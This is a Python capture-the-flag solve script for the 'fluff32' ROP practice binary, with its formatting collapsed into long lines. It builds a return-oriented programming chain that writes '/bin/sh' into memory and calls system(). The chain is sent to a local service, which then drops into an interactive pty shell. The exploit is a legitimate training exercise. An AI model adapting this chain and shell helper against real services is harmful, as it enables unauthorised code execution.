1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191
| $ cat ../fluff32/solve.py
import socket, time, struct, binascii import telnetlib from pwn import *
class Target(): HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m'
def __init__(self, ip=None, port=None, length=0xFFFF): if not ip or not port: return print self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.connect((ip, port)) self.length = length self.rop = None self.receive = None self.log('Connected to target') self.line = False
def iprocess(elf): io = process(elf)
return io
def send(self, payload=None): if not payload and self.rop: payload = self.rop if self.line: payload += '\n' self.line = False self.socket.send(payload)
def sendline(self, payload=None): self.line = True self.send(payload)
def recv(self, l=None): if not l: l = self.length time.sleep(2) self.receive = self.socket.recv(l) return self.receive
def create_rop(self, offset, gadgets): p = 'A' * offset self.log('Creating ROP Chain','i') for gadget in gadgets: if isinstance(gadget, (int, long)) and hex(gadget).startswith('0x'): p += self.p(gadget) print ' ',hex(gadget) else: p += gadget print ' ',gadget self.rop = p return p
def recv_until(self, string): buff = '' while True: x = self.socket.recv(1024) buff += x if x.strip() == string: return buff
def log(self, a, t=None): '''''' if not t: t = self.OKBLUE + '+' elif t == 'i': t = self.HEADER + '*' elif t == 'w': t = self.WARNING + '!' elif t == 'f': t = self.FAIL + '!' t = self.OKGREEN + '[' + t + self.OKGREEN + ']' + self.ENDC print(t + ' %s' % (a))
def funcs(self, raw): raw = raw.strip().split('\n') t_dict = {} for f in raw: f = f.split() f_name = f[1].replace('@','_') f_addr = f[0] t_dict[f_name] = int(f_addr, 16) globals()[f_name] = int(f_addr,16) self.functions = t_dict return self.functions
def p(self, addr): '''pack raw packets''' return struct.pack('<L', addr)
def u(self, addr): '''unpack raw packets''' return struct.unpack('<L', addr)[0]
def hexdump(self, data=None, bytez=0): info_msg = "\t\t------->Hex Dump<-------" if not data: data = self.recv() info_msg = 'Hex Dump for last receive\n' self.log(info_msg) ndata = binascii.hexlify(data) print "Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n" ndata = list(self.chunks(ndata[:320],32)) offset = bytez for each in ndata: x = ' '.join(each[i:i+2] for i in range(0, len(each), 2)) printspace = " "*(10-len(hex(offset))) print hex(offset) + printspace + x offset += 16 print return data
def chunks(self, l, n): n = max(1, n) return (l[i:i+n] for i in xrange(0, len(l), n))
def interactive(self, tty=None): telnet = telnetlib.Telnet() telnet.sock = self.socket self.log('Switching to interactive session\n') if tty: telnet.write('python -c "import pty;pty.spawn(\'/bin/sh\')"\n') telnet.interact()
def write_payload(self, file_name=None, payload=None): if not file_name: file_name = 'payload' self.log('Writing payload to file : ' + file_name) f = open(file_name, 'wb') f.write(payload) f.close()
addresses = ''' 0x08048400 printf@plt 0x08048410 fgets@plt 0x08048420 puts@plt 0x08048430 system@plt 0x0804857b main 0x080485f6 pwnme 0x0804864c usefulFunction 0x08048670 questionableGadgets '''
xor_edx_edx = 0x8048671 pop_ebx = 0x8048696 xor_edx_ebx = 0x804867b xchg_edx_ecx = 0x8048689 mov_ecx_edx = 0x8048693
buffer_x = 0x804a028
PADDING_4 = 'P'*4 PADDING_8 = 'P'*8
BIN = '\x53bin' SH = '\x7fsh\x00'
target = Target('127.0.0.1', 10001)
target.funcs(addresses) target.create_rop(44, [ xor_edx_edx, PADDING_4, pop_ebx, buffer_x, xor_edx_ebx, PADDING_4, xchg_edx_ecx, PADDING_4, xor_edx_edx, PADDING_4, pop_ebx, BIN, xor_edx_ebx, PADDING_4, mov_ecx_edx, PADDING_8, xor_edx_edx, PADDING_4, pop_ebx, buffer_x+4, xor_edx_ebx, PADDING_4, xchg_edx_ecx, PADDING_4, xor_edx_edx, PADDING_4, pop_ebx, SH, xor_edx_ebx, PADDING_4, mov_ecx_edx, PADDING_8, system_plt, PADDING_4, buffer_x]) target.log('Sending ROP Chain') target.sendline() target.recv() target.interactive(True)
|